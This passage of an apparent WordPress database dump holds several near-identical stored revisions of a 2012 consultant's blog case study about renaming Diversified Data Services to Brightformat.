entrepreneur that will dominate in the new idea economy because they recognize the essential business strategy of doing what matters to them and serves the good of their customers. They’re fanatics in this regard.\r\n\r\nServing people well and helping their customers create success in their business outcomes really matters to these guys. The partners have a deep and narrow focus on creating a vibrant, stress-free customer experience at level of interaction with customers. This level of customer service is not easily duplicated and consequently represented a significant point of difference that separates them from their competitors in the minds of their customers. This enables them to command a price premium in their market. However, their customers believe the value they receive from Pete and Mike is cheap at twice the price. Now that’s a pricing strategy.\r\n\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2012/08/bf-apparal1.jpg"><img class="alignnone size-full wp-image-2160" title="bf-apparal" src="http://whc.fbdev.org/wp-content/uploads/2012/08/bf-apparal1.jpg" alt="" width="495" height="338" /></a>\r\n\r\n<strong>An open mind eliminates a closed future.</strong>\r\nAnother thing I learned to appreciate working with these business leaders is the fact they had an open mind about their future. Their thinking was expansive and not boxed in by the conventions of their industry, their market, and their competitors. When discussing ideas in our workshops together, the partners were always asking, “what if questions”, exploring the boundaries and looking for breakthroughs.\r\n\r\nThis open mindedness also facilitated an honesty about who they were as CEOs, their management styles and how capable they were in delivering on the promise of what made their company special to their customers.\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2012/08/bflogo.jpg"><img class="alignnone size-full wp-image-2161" title="bflogo" src="http://whc.fbdev.org/wp-content/uploads/2012/08/bflogo.jpg" alt="" width="515" height="186" /></a>\r\n\r\n<strong>Creating a business name that fit a bigger future.</strong>\r\n\r\nAfter exploring hundreds of naming candidates generated from our workshops and discussions, we were settled on three promising candidates as finalists. They all met the success criteria we established earlier in the creative process, but they were not ringing the bell. None of them were feeling “right” even after several visual design explorations to bring them to life\r\n\r\nThen one day, after a month of pondering and discussions on the final candidates, Mike called me and exclaimed “ Last night the word brightformat name popped into my head. I googled it and checked its availability as a URL and it’s available! I want to go with this, it just works for me”.\r\n\r\nMike was trusting his intuition; He didn’t need to have it validated by others (consultant included). Mike liked the logic behind our “finalists” but they were not connecting at the deep intuitive level that Mike believed was essential for success. When Pete confirmed his excitement on the name from “outta nowhere”, the future of their new direction was set.\r\n\r\n<a href="http://vimeo.com/48003840"><img class="alignleft size-full wp-image-2162" title="pete-and-mike" src="http://whc.fbdev.org/wp-content/uploads/2012/08/pete-and-mike.jpg" alt="" width="250" height="384" /></a><strong>The Outcome</strong>\r\nCheck out the <a href="http://vimeo.com/48003840" target="_blank">video featuring Pete and Mike</a> announcing the name change with humor and grace. Here’s what Pete Houlihan, CEO of Brightformat, had to say about working with me on this project:\r\n\r\n“From the very beginning of the workshops with Thomson and through the implementation of our name and visual expression, Thomson was thoughtful, collaborative, and was clearly committed to our success. His experience, guidance, and creativity helped guide two very different shareholders toward a result that we simply could not be happier with. He didn’t tell us who we should be or where we should go–he guided us along a path that helped us discover our direction and purpose had been there all along, we just needed the expertise to help us reveal it.”\r\n\r\nThank you Pete and Mike for the pleasure of working and learning with you and best wishes for your next level of success!\r\n\r\n<em><strong>If you’re experiencing a challenge to your business growth and success, and would like to explore the possibilities of working together in a similar fashion, <a href="mailto://thomson@whitehotcenter.com" target="_blank">send me an email</a>.</strong></em>', 'Creative Entrepreneur Case Story: Brightformat ', 0, '', 'inherit', 'open', 'open', '', '2157-revision-3', '', '', '2012-08-27 08:06:51', '2012-08-27 15:06:51', '', 2157, 'http://www.whitehotcenter.com/2012/08/2157-revision-3/', 0, 'revision', '', 0);
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(2166, 2, '2012-08-27 08:12:39', '2012-08-27 15:12:39', '<h1><a href="http://whc.fbdev.org/wp-content/uploads/2012/08/brightformat-lead.jpg"><img class="alignnone size-full wp-image-2158" title="brightformat-lead" src="http://whc.fbdev.org/wp-content/uploads/2012/08/brightformat-lead.jpg" alt="" width="495" height="201" /></a></h1>\r\n<h1><span style="color: #808080;">After eight years of growth, this digital print and data management company reinvents itself with a new brand positioning, renaming the company, and developing a new visual identity as the foundation for a brighter future.</span></h1>\r\nAllow me to introduce my clients Pete Houlihan and Mike Glupker, co-CEOs of <a href="http://www.brightformat.com/" target="_blank">Brightformat </a>in Grand Rapids, Michigan.  Over the past six months, I’ve been consulting with Mike and Pete, helping them and their business development team craft their vision for the next level of business growth. It’s been an amazing journey for these creative business leaders as they have grown their business from a small mailing and database services company to one of West Michigan’s premier digital printing and direct marketing services company. And I feel especially grateful to have had a hand in helping them to reinvent their future.\r\n\r\nFormerly known as Diversified Data Services, the partners realized their business had grown far past its mail house roots to serve higher end and discerning customers within marketing organizations of leading corporate customers in West Michigan. They realized their business name no longer fit. Consequently they could no longer ignore the difficult process of reinvention.\r\n\r\n<strong>The Challenge</strong>\r\nFormerly known as Diversified Data Services, Pete and Mike realized their business had grown far past its mail house roots to serve higher-end and discerning customers within marketing organizations of leading corporate customers in West Michigan. They realized their business name no longer fit and did not express the unique value their company brought to their customers. Consequently they could no longer ignore the difficult process of reinvention.\r\n\r\n<strong></strong>The printing industry is a commodity business where customers have abundant choice of providers and most printing companies compete for business solely on price. The company, which had an excellent reputation for customer service, had moved the core of its original mail house services business to new technologies in on-demand printing, large format printing and direct marketing support services.\r\n\r\n<strong>Doing What Matters</strong>\r\nPete and Mike represent the type of creative entrepreneur that will dominate in the new idea economy because they recognize the essential business strategy of doing what matters to them and serves the good of their customers. They’re fanatics in this regard.\r\n\r\nServing people well and helping their customers create success in their business outcomes really matters to these guys. The partners have a deep and narrow focus on creating a vibrant, stress-free customer experience at level of interaction with customers. This level of customer service is not easily duplicated and consequently represented a significant point of difference that separates them from their competitors in the minds of their customers. This enables them to command a price premium in their market. However, their customers believe the value they receive from Pete and Mike is cheap at twice the price. Now that’s a pricing strategy.\r\n\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2012/08/bf-apparal1.jpg"><img class="alignnone size-full wp-image-2160" title="bf-apparal" src="http://whc.fbdev.org/wp-content/uploads/2012/08/bf-apparal1.jpg" alt="" width="495" height="338" /></a>\r\n\r\n<strong>An open mind eliminates a closed future.</strong>\r\nAnother thing I learned to appreciate working with these business leaders is the fact they had an open mind about their future. Their thinking was expansive and not boxed in by the conventions of their industry, their market, and their competitors. When discussing ideas in our workshops together, the partners were always asking, “what if questions”, exploring the boundaries and looking for breakthroughs.\r\n\r\nThis open mindedness also facilitated an honesty about who they were as CEOs, their management styles and how capable they were in delivering on the promise of what made their company special to their customers.\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2012/08/bflogo.jpg"><img class="alignnone size-full wp-image-2161" title="bflogo" src="http://whc.fbdev.org/wp-content/uploads/2012/08/bflogo.jpg" alt="" width="515" height="186" /></a>\r\n\r\n<strong>Creating a business name that fit a bigger future.</strong>\r\n\r\nAfter exploring hundreds of naming candidates generated from our workshops and discussions, we were settled on three promising candidates as finalists. They all met the success criteria we established earlier in the creative process, but they were not ringing the bell. None of them were feeling “right” even after several visual design explorations to bring them to life\r\n\r\nThen one day, after a month of pondering and discussions on the final candidates, Mike called me and exclaimed “ Last night the word brightformat name popped into my head. I googled it and checked its availability as a URL and it’s available! I want to go with this, it just works for me”.\r\n\r\nMike was trusting his intuition; He didn’t need to have it validated by others (consultant included). Mike liked the logic behind our “finalists” but they were not connecting at the deep intuitive level that Mike believed was essential for success. When Pete confirmed his excitement on the name from “outta nowhere”, the future of their new direction was set.\r\n\r\n<a href="http://vimeo.com/48003840"><img class="alignleft size-full wp-image-2162" title="pete-and-mike" src="http://whc.fbdev.org/wp-content/uploads/2012/08/pete-and-mike.jpg" alt="" width="250" height="384" /></a><strong>The Outcome</strong>\r\nCheck out the <a href="http://vimeo.com/48003840" target="_blank">video featuring Pete and Mike</a> announcing the name change with humor and grace. Here’s what Pete Houlihan, CEO of Brightformat, had to say about working with me on this project:\r\n\r\n“From the very beginning of the workshops with Thomson and through the implementation of our name and visual expression, Thomson was thoughtful, collaborative, and was clearly committed to our success. His experience, guidance, and creativity helped guide two very different shareholders toward a result that we simply could not be happier with. He didn’t tell us who we should be or where we should go–he guided us along a path that helped us discover our direction and purpose had been there all along, we just needed the expertise to help us reveal it.”\r\n\r\nThank you Pete and Mike for the pleasure of working and learning with you and best wishes for your next level of success!\r\n\r\n<em><strong>If you’re experiencing a challenge to your business growth and success, and would like to explore the possibilities of working together in a similar fashion, <a href="mailto://thomson@whitehotcenter.com" target="_blank">send me an email</a>.</strong></em>', 'Creative Entrepreneur Case Story: Brightformat ', 0, '', 'inherit', 'open', 'open', '', '2157-revision-4', '', '', '2012-08-27 08:12:39', '2012-08-27 15:12:39', '', 2157, 'http://www.whitehotcenter.com/2012/08/2157-revision-4/', 0, 'revision', '', 0),
(2167, 2, '2012-08-27 08:12:50', '2012-08-27 15:12:50', '<h1><a href="http://whc.fbdev.org/wp-content/uploads/2012/08/brightformat-lead.jpg"><img class="alignnone size-full wp-image-2158" title="brightformat-lead" src="http://whc.fbdev.org/wp-content/uploads/2012/08/brightformat-lead.jpg" alt="" width="495" height="201" /></a></h1>\r\n<h1><span style="color: #808080;">After eight years of growth, this digital print and data management company reinvents itself with a new brand positioning, renaming the company, and developing a new visual identity as the foundation for a brighter future.</span></h1>\r\nAllow me to introduce my clients Pete Houlihan and Mike Glupker, co-CEOs of <a href="http://www.brightformat.com/" target="_blank">Brightformat </a>in Grand Rapids, Michigan.  Over the past six months, I’ve been consulting with Mike and Pete, helping them and their business development team craft their vision for the next level of business growth. It’s been an amazing journey for these creative business leaders as they have grown their business from a small mailing and database services company to one of West Michigan’s premier digital printing and direct marketing services company. And I feel especially grateful to have had a hand in helping them to reinvent their future.\r\n\r\nFormerly known as Diversified Data Services, the partners realized their business had grown far past its mail house roots to serve higher end and discerning customers within marketing organizations of leading corporate customers in West Michigan. They realized their business name no longer fit. Consequently they could no longer ignore the difficult process of reinvention.\r\n\r\n<strong>The Challenge</strong>\r\nFormerly known as Diversified Data Services, Pete and Mike realized their business had grown far past its mail house roots to serve higher-end and discerning customers within marketing organizations of leading corporate customers in West Michigan. They realized their business name no longer fit and did not express the unique value their company brought to their customers. Consequently they could no longer ignore the difficult process of reinvention.\r\n\r\n<strong></strong>The printing industry is a commodity business where customers have abundant choice of providers and most printing companies compete for business solely on price. The company, which had an excellent reputation for customer service, had moved the core of its original mail house services business to new technologies in on-demand printing, large format printing and direct marketing support services.\r\n\r\n<strong>Doing What Matters</strong>\r\nPete and Mike represent the type of creative entrepreneur that will dominate in the new idea economy because they recognize the essential business strategy of doing what matters to them and serves the good of their customers. They’re fanatics in this regard.\r\n\r\nServing people well and helping their customers create success in their business outcomes really matters to these guys. The partners have a deep and narrow focus on creating a vibrant, stress-free customer experience at level of interaction with customers. This level of customer service is not easily duplicated and consequently represented a significant point of difference that separates them from their competitors in the minds of their customers. This enables them to command a price premium in their market. However, their customers believe the value they receive from Pete and Mike is cheap at twice the price. Now that’s a pricing strategy.\r\n\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2012/08/bf-apparal1.jpg"><img class="alignnone size-full wp-image-2160" title="bf-apparal" src="http://whc.fbdev.org/wp-content/uploads/2012/08/bf-apparal1.jpg" alt="" width="495" height="338" /></a>\r\n\r\n<strong>An open mind eliminates a closed future.</strong>\r\nAnother thing I learned to appreciate working with these business leaders is the fact they had an open mind about their future. Their thinking was expansive and not boxed in by the conventions of their industry, their market, and their competitors. When discussing ideas in our workshops together, the partners were always asking, “what if questions”, exploring the boundaries and looking for breakthroughs.\r\n\r\nThis open mindedness also facilitated an honesty about who they were as CEOs, their management styles and how capable they were in delivering on the promise of what made their company special to their customers.\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2012/08/bflogo.jpg"><img class="alignnone size-full wp-image-2161" title="bflogo" src="http://whc.fbdev.org/wp-content/uploads/2012/08/bflogo.jpg" alt="" width="515" height="186" /></a>\r\n\r\n<strong>Creating a business name that fit a bigger future.</strong>\r\n\r\nAfter exploring hundreds of naming candidates generated from our workshops and discussions, we were settled on three promising candidates as finalists. They all met the success criteria we established earlier in the creative process, but they were not ringing the bell. None of them were feeling “right” even after several visual design explorations to bring them to life\r\n\r\nThen one day, after a month of pondering and discussions on the final candidates, Mike called me and exclaimed “ Last night the word brightformat name popped into my head. I googled it and checked its availability as a URL and it’s available! I want to go with this, it just works for me”.\r\n\r\nMike was trusting his intuition; He didn’t need to have it validated by others (consultant included). Mike liked the logic behind our “finalists” but they were not connecting at the deep intuitive level that Mike believed was essential for success. When Pete confirmed his excitement on the name from “outta nowhere”, the future of their new direction was set.\r\n\r\n<a href="http://vimeo.com/48003840"><img class="alignleft size-full wp-image-2162" title="pete-and-mike" src="http://whc.fbdev.org/wp-content/uploads/2012/08/pete-and-mike.jpg" alt="" width="250" height="384" /></a><strong>The Outcome</strong>\r\nCheck out the <a href="http://vimeo.com/48003840" target="_blank">video featuring Pete and Mike</a> announcing the name change with humor and grace. Here’s what Pete Houlihan, CEO of Brightformat, had to say about working with me on this project:\r\n\r\n“From the very beginning of the workshops with Thomson and through the implementation of our name and visual expression, Thomson was thoughtful, collaborative, and was clearly committed to our success. His experience, guidance, and creativity helped guide two very different shareholders toward a result that we simply could not be happier with. He didn’t tell us who we should be or where we should go–he guided us along a path that helped us discover our direction and purpose had been there all along, we just needed the expertise to help us reveal it.”\r\n\r\nThank you Pete and Mike for the pleasure of working and learning with you and best wishes for your next level of success!\r\n\r\n<em><strong>If you’re experiencing a challenge to your business growth and success, and would like to explore the possibilities of working together in a similar fashion, <a href="mailto://thomson@whitehotcenter.com" target="_blank">send me an email</a>.</strong></em>', 'Creative Entrepreneur Case Story: Brightformat ', 0, '', 'inherit', 'open', 'open', '', '2157-revision-5', '', '', '2012-08-27 08:12:50', '2012-08-27 15:12:50', '', 2157, 'http://www.whitehotcenter.com/2012/08/2157-revision-5/', 0, 'revision', '', 0),
(2168, 2, '2012-08-27 08:23:46', '2012-08-27 15:23:46', '<h1><a href="http://whc.fbdev.org/wp-content/uploads/2012/08/brightformat-lead.jpg"><img class="alignnone size-full wp-image-2158" title="brightformat-lead" src="http://whc.fbdev.org/wp-content/uploads/2012/08/brightformat-lead.jpg" alt="" width="495" height="201" /></a></h1>\n<h1><span style="color: #808080;">After eight years of growth, this digital print and data management company reinvents itself with a new brand positioning, renaming the company, and developing a new visual identity as the foundation for a brighter future.</span></h1>\nAllow me to introduce my clients Pete Houlihan and Mike Glupker, co-CEOs of <a href="http://www.brightformat.com/" target="_blank">Brightformat </a>in Grand Rapids, Michigan.  Over the past six months, I’ve been consulting with Mike and Pete, helping them and their business development team craft their vision for the next level of business growth. It’s been an amazing journey for these creative business leaders as they have grown their business from a small mailing and database services company to one of West Michigan’s premier digital printing and direct marketing services company. And I feel especially grateful to have had a hand in helping them to reinvent their future.\n\nFormerly known as Diversified Data Services, the partners realized their business had grown far past its mail house roots to serve higher end and discerning customers within marketing organizations of leading corporate customers in West Michigan. They realized their business name no longer fit. Consequently they could no longer ignore the difficult process of reinvention.\n\n<strong>The Challenge</strong>\nFormerly known as Diversified Data Services, Pete and Mike realized their business had grown far past its mail house roots to serve higher-end and discerning customers within marketing organizations of leading corporate customers in West Michigan. They realized their business name no longer fit and did not express the unique value their company brought to their customers. Consequently they could no longer ignore the difficult process of reinvention.\n\n<strong></strong>The printing industry is a commodity business where customers have abundant choice of providers and most printing companies compete for business solely on price. The company, which had an excellent reputation for customer service, had moved the core of its original mail house services business to new technologies in on-demand printing, large format printing and direct marketing support services.\n\n<strong>Doing What Matters</strong>\nPete and Mike represent the type of creative entrepreneur that will dominate in the new idea economy because they recognize the essential business strategy of doing what matters to them and serves the good of their customers. They’re fanatics in this regard.\n\nServing people well and helping their customers create success in their business outcomes really matters to these guys. The partners have a deep and narrow focus on creating a vibrant, stress-free customer experience at level of interaction with customers. This level of customer service is not easily duplicated and consequently represented a significant point of difference that separates them from their competitors in the minds of their customers. This enables them to command a price premium in their market. However, their customers believe the value they receive from Pete and Mike is cheap at twice the price. Now that’s a pricing strategy.\n\n<a href="http://whc.fbdev.org/wp-content/uploads/2012/08/bf-apparal1.jpg"><img class="alignnone size-full wp-image-2160" title="bf-apparal" src="http://whc.fbdev.org/wp-content/uploads/2012/08/bf-apparal1.jpg" alt="" width="495" height="338" /></a>\n\n<strong>An open mind eliminates a closed future.</strong>\nAnother thing I learned to appreciate working with these business leaders is the fact they had an open mind about their future. Their thinking was expansive and not boxed in by the conventions of their industry, their market, and their competitors. When discussing ideas in our workshops together, the partners were always asking, “what if questions”, exploring the boundaries and looking for breakthroughs.\n<h2>This open mindedness also facilitated an honesty about who they were as CEOs, their management styles and how capable they were in delivering on the promise of what made their company special to their customers.\n<a href="http://whc.fbdev.org/wp-content/uploads/2012/08/bflogo.jpg"><img class="alignnone size-full wp-image-2161" title="bflogo" src="http://whc.fbdev.org/wp-content/uploads/2012/08/bflogo.jpg" alt="" width="515" height="186" /></a></h2>\n<strong>Creating a business name that fit a bigger future.</strong>\n\nAfter exploring hundreds of naming candidates generated from our workshops and discussions, we were settled on three promising candidates as finalists. They all met the success criteria we established earlier in the creative process, but they were not ringing the bell. None of them were feeling “right” even after several visual design explorations to bring them to life\n\nThen one day, after a month of pondering and discussions on the final candidates, Mike called me and exclaimed “ Last night the word brightformat name popped into my head. I googled it and checked its availability as a URL and it’s available! I want to go with this, it just works for me”.\n\nMike was trusting his intuition; He didn’t need to have it validated by others (consultant included). Mike liked the logic behind our “finalists” but they were not connecting at the deep intuitive level that Mike believed was essential for success. When Pete confirmed his excitement on the name from “outta nowhere”, the future of their new direction was set.\n\n<a href="http://vimeo.com/48003840"><img class="alignleft size-full wp-image-2162" title="pete-and-mike" src="http://whc.fbdev.org/wp-content/uploads/2012/08/pete-and-mike.jpg" alt="" width="250" height="384" /></a><strong>The Outcome</strong>\nCheck out the <a href="http://vimeo.com/48003840" target="_blank">video featuring Pete and Mike</a> announcing the name change with humor and grace. Here’s what Pete Houlihan, CEO of Brightformat, had to say about working with me on this project:\n\n<em>“From the very beginning of the workshops with Thomson and through the implementation of our name and visual expression, Thomson was thoughtful, collaborative, and was clearly committed to our success. His experience, guidance, and creativity helped guide two very different shareholders toward a result that we simply could not be happier with. He didn’t tell us who we should be or where we should go–he guided us along a path that helped us discover our direction and purpose had been there all along, we just needed the expertise to help us reveal it.”</em>\n\nThank you Pete and Mike for the pleasure of working and learning with you and best wishes for your next level of success!\n\n<em><strong>If you’re experiencing a challenge to your business growth and success, and would like to explore the possibilities of working together in a similar fashion, <a href="mailto://thomson@whitehotcenter.com" target="_blank">send me an email.</a></strong></em>', 'Creative Entrepreneur Case Story: Brightformat ', 0, '', 'inherit', 'open', 'open', '', '2157-revision-6', '', '', '2012-08-27 08:23:46', '2012-08-27 15:23:46', '', 2157, 'http://www.whitehotcenter.com/2012/08/2157-revision-6/', 0, 'revision', '', 0),
(2169, 2, '2012-08-27 08:28:56', '2012-08-27 15:28:56', '<h1><a href="http://whc.fbdev.org/wp-content/uploads/2012/08/brightformat-lead.jpg"><img class="alignnone size-full wp-image-2158" title="brightformat-lead" src="http://whc.fbdev.org/wp-content/uploads/2012/08/brightformat-lead.jpg" alt="" width="495" height="201" /></a></h1>\n<h1><span style="color: #808080;">After eight years of growth, this digital print and data management company reinvents itself with a new brand positioning, renaming the company, and developing a new visual identity as the foundation for a brighter future.</span></h1>\nAllow me to introduce my clients Pete Houlihan and Mike Glupker, co-CEOs of <a href="http://www.brightformat.com/" target="_blank">Brightformat </a>in Grand Rapids, Michigan.  Over the past six months, I’ve been consulting with Mike and Pete, helping them and their business development team craft their vision for the next level of business growth. It’s been an amazing journey for these creative business leaders as they have grown their business from a small mailing and database services company to one of West Michigan’s premier digital printing and direct marketing services company. And I feel especially grateful to have had a hand in helping them to reinvent their future.\n\nFormerly known as Diversified Data Services, the partners realized their business had grown far past its mail house roots to serve higher end and discerning customers within marketing organizations of leading corporate customers in West Michigan. They realized their business name no longer fit. Consequently they could no longer ignore the difficult process of reinvention.\n\n<strong>The Challenge</strong>\nFormerly known as Diversified Data Services, Pete and Mike realized their business had grown far past its mail house roots to serve higher-end and discerning customers within marketing organizations of leading corporate customers in West Michigan. They realized their business name no longer fit and did not express the unique value their company brought to their customers. Consequently they could no longer ignore the difficult process of reinvention.\n\n<strong></strong>The printing industry is a commodity business where customers have abundant choice of providers and most printing companies compete for business solely on price. The company, which had an excellent reputation for customer service, had moved the core of its original mail house services business to new technologies in on-demand printing, large format printing and direct marketing support services.\n\n<strong>Doing What Matters</strong>\nPete and Mike represent the type of creative entrepreneur that will dominate in the new idea economy because they recognize the essential business strategy of doing what matters to them and serves the good of their customers. They’re fanatics in this regard.\n\nServing people well and helping their customers create success in their business outcomes really matters to these guys. The partners have a deep and narrow focus on creating a vibrant, stress-free customer experience at level of interaction with customers. This level of customer service is not easily duplicated and consequently represented a significant point of difference that separates them from their competitors in the minds of their customers. This enables them to command a price premium in their market. However, their customers believe the value they receive from Pete and Mike is cheap at twice the price. Now that’s a pricing strategy.\n\n<a href="http://whc.fbdev.org/wp-content/uploads/2012/08/bf-apparal1.jpg"><img class="alignnone size-full wp-image-2160" title="bf-apparal" src="http://whc.fbdev.org/wp-content/uploads/2012/08/bf-apparal1.jpg" alt="" width="495" height="338" /></a>\n\n<strong>An open mind eliminates a closed future.</strong>\nAnother thing I learned to appreciate working with these business leaders is the fact they had an open mind about their future. Their thinking was expansive and not boxed in by the conventions of their industry, their market, and their competitors. When discussing ideas in our workshops together, the partners were always asking, “what if questions”, exploring the boundaries and looking for breakthroughs.\n<h2>This open mindedness also facilitated an honesty about who they were as CEOs, their management styles and how capable they were in delivering on the promise of what made their company special to their customers.\n<a href="http://whc.fbdev.org/wp-content/uploads/2012/08/bflogo.jpg"><img class="alignnone size-full wp-image-2161" title="bflogo" src="http://whc.fbdev.org/wp-content/uploads/2012/08/bflogo.jpg" alt="" width="515" height="186" /></a></h2>\n<strong>Creating a business name that fit a bigger future.</strong>\n\nAfter exploring hundreds of naming candidates generated from our workshops and discussions, we were settled on three promising candidates as finalists. They all met the success criteria we established earlier in the creative process, but they were not ringing the bell. None of them were feeling “right” even after several visual design explorations to bring them to life\n\nThen one day, after a month of pondering and discussions on the final candidates, Mike called me and exclaimed “ Last night the word brightformat name popped into my head. I googled it and checked its availability as a URL and it’s available! I want to go with this, it just works for me”.\n\nMike was trusting his intuition; He didn’t need to have it validated by others (consultant included). Mike liked the logic behind our “finalists” but they were not connecting at the deep intuitive level that Mike believed was essential for success. When Pete confirmed his excitement on the name from “outta nowhere”, the future of their new direction was set.\n\n<a href="http://vimeo.com/48003840"><img class="alignleft size-full wp-image-2162" title="pete-and-mike" src="http://whc.fbdev.org/wp-content/uploads/2012/08/pete-and-mike.jpg" alt="" width="250" height="384" /></a><strong>The Outcome</strong>\nCheck out the <a href="http://vimeo.com/48003840" target="_blank">video featuring Pete and Mike</a> announcing the name change with humor and grace. Here’s what Pete Houlihan, CEO of Brightformat, had to say about working with me on this project:\n\n<em>“From the very beginning of the workshops with Thomson and through the implementation of our name and visual expression, Thomson was thoughtful, collaborative, and was clearly committed to our success. His experience, guidance, and creativity helped guide two very different shareholders toward a result that we simply could not be happier with. He didn’t tell us who we should be or where we should go–he guided us along a path that helped us discover our direction and purpose had been there all along, we just needed the expertise to help us reveal it.”</em>\n\nThank you Pete and Mike for the pleasure of working and learning with you and best wishes for your next level of success!\n\n<em><strong>If you’re experiencing a challenge to your business growth and success, and would like to explore the possibilities of working together in a similar fashion, <a href="mailto://thomson@whitehotcenter.com" target="_blank">send me an email.</a></strong></em>', 'Creative Entrepreneur Case Story: Brightformat ', 0, '', 'inherit', 'open', 'open', '', '2157-revision-7', '', '', '2012-08-27 08:28:56', '2012-08-27 15:28:56', '', 2157, 'http://www.whitehotcenter.com/2012/08/2157-revision-7/', 0, 'revision', '', 0),
(2170, 2, '2012-08-27 08:29:05', '2012-08-27 15:29:05', '<h1><a href="http://whc.fbdev.org/wp-content/uploads/2012/08/brightformat-lead.jpg"><img class="alignnone size-full wp-image-2158" title="brightformat-lead" src="http://whc.fbdev.org/wp-content/uploads/2012/08/brightformat-lead.jpg" alt="" width="495" height="201" /></a></h1>\r\n<h1><span style="color: #808080;">After eight years of growth, this digital print and data management company reinvents itself with a new brand positioning, renaming the company, and developing a new visual identity as the foundation for a brighter future.</span></h1>\r\nAllow me to introduce my clients Pete Houlihan and Mike Glupker, co-CEOs of <a href="http://www.brightformat.com/" target="_blank">Brightformat </a>in Grand Rapids, Michigan.  Over the past six months, I’ve been consulting with Mike and Pete, helping them and their business development team craft their vision for the next level of business growth. It’s been an amazing journey for these creative business leaders as they have grown their business from a small mailing and database services company to one of West Michigan’s premier digital printing and direct marketing services company. And I feel especially grateful to have had a hand in helping them to reinvent their future.\r\n\r\nFormerly known as Diversified Data Services, the partners realized their business had grown far past its mail house roots to serve higher end and discerning customers within marketing organizations of leading corporate customers in West Michigan. They realized their business name no longer fit. Consequently they could no longer ignore the difficult process of reinvention.\r\n\r\n<strong>The Challenge</strong>\r\nFormerly known as Diversified Data Services, Pete and Mike realized their business had grown far past its mail house roots to serve higher-end and discerning customers within marketing organizations of leading corporate customers in West Michigan. They realized their business name no longer fit and did not express the unique value their company brought to their customers. Consequently they could no longer ignore the difficult process of reinvention.\r\n\r\n<strong></strong>The printing industry is a commodity business where customers have abundant choice of providers and most printing companies compete for business solely on price. The company, which had an excellent reputation for customer service, had moved the core of its original mail house services business to new technologies in on-demand printing, large format printing and direct marketing support services.\r\n\r\n<strong>Doing What Matters</strong>\r\nPete and Mike represent the type of creative entrepreneur that will dominate in the new idea economy because they recognize the essential business strategy of doing what matters to them and serves the good of their customers. They’re fanatics in this regard.\r\n\r\nServing people well and helping their customers create success in their business outcomes really matters to these guys. The partners have a deep and narrow focus on creating a vibrant, stress-free customer experience at level of interaction with customers. This level of customer service is not easily duplicated and consequently represented a significant point of difference that separates them from their competitors in the minds of their customers. This enables them to command a price premium in their market. However, their customers believe the value they receive from Pete and Mike is cheap at twice the price. Now that’s a pricing strategy.\r\n\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2012/08/bf-apparal1.jpg"><img class="alignnone size-full wp-image-2160" title="bf-apparal" src="http://whc.fbdev.org/wp-content/uploads/2012/08/bf-apparal1.jpg" alt="" width="495" height="338" /></a>\r\n\r\n<strong>An open mind eliminates a closed future.</strong>\r\nAnother thing I learned to appreciate working with these business leaders is the fact they had an open mind about their future. Their thinking was expansive and not boxed in by the conventions of their industry, their market, and their competitors. When discussing ideas in our workshops together, the partners were always asking, “what if questions”, exploring the boundaries and looking for breakthroughs.\r\n<h2>This open mindedness also facilitated an honesty about who they were as CEOs, their management styles and how capable they were in delivering on the promise of what made their company special to their customers.\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2012/08/bflogo.jpg"><img class="alignnone size-full wp-image-2161" title="bflogo" src="http://whc.fbdev.org/wp-content/uploads/2012/08/bflogo.jpg" alt="" width="515" height="186" /></a></h2>\r\n<strong>Creating a business name that fit a bigger future.</strong>\r\n\r\nAfter exploring hundreds of naming candidates generated from our workshops and discussions, we were settled on three promising candidates as finalists. They all met the success criteria we established earlier in the creative process, but they were not ringing the bell. None of them were feeling “right” even after several visual design explorations to bring them to life\r\n\r\nThen one day, after a month of pondering and discussions on the final candidates, Mike called me and exclaimed “ Last night the word brightformat name popped into my head. I googled it and checked its availability as a URL and it’s available! I want to go with this, it just works for me”.\r\n\r\nMike was trusting his intuition; He didn’t need to have it validated by others (consultant included). Mike liked the logic behind our “finalists” but they were not connecting at the deep intuitive level that Mike believed was essential for success. When Pete confirmed his excitement on the name from “outta nowhere”, the future of their new direction was set.\r\n\r\n<a href="http://vimeo.com/48003840"><img class="alignleft size-full wp-image-2162" title="pete-and-mike" src="http://whc.fbdev.org/wp-content/uploads/2012/08/pete-and-mike.jpg" alt="" width="250" height="384" /></a><strong>The Outcome</strong>\r\nCheck out the <a href="http://vimeo.com/48003840" target="_blank">video featuring Pete and Mike</a> announcing the name change with humor and grace. Here’s what Pete Houlihan, CEO of Brightformat, had to say about working with me on this project:\r\n\r\n<em>“From the very beginning of the workshops with Thomson and through the implementation of our name and visual expression, Thomson was thoughtful, collaborative, and was clearly committed to our success. His experience, guidance, and creativity helped guide two very different shareholders toward a result that we simply could not be happier with. He didn’t tell us who we should be or where we should go–he guided us along a path that helped us discover our direction and purpose had been there all along, we just needed the expertise to help us reveal it.”</em>\r\n\r\nThank you Pete and Mike for the pleasure of working and learning with you and best wishes for your next level of success!\r\n\r\n<em><strong>If you’re experiencing a challenge to your business growth and success, and would like to explore the possibilities of working together in a similar fashion, <a href="mailto://thomson@whitehotcenter.com" target="_blank">send me an email.</a></strong></em>', 'Creative Entrepreneur Case Story: Brightformat ', 0, '', 'inherit', 'open', 'open', '', '2157-revision-8', '', '', '2012-08-27 08:29:05', '2012-08-27 15:29:05', '', 2157, 'http://www.whitehotcenter.com/2012/08/2157-revision-8/', 0, 'revision', '', 0),
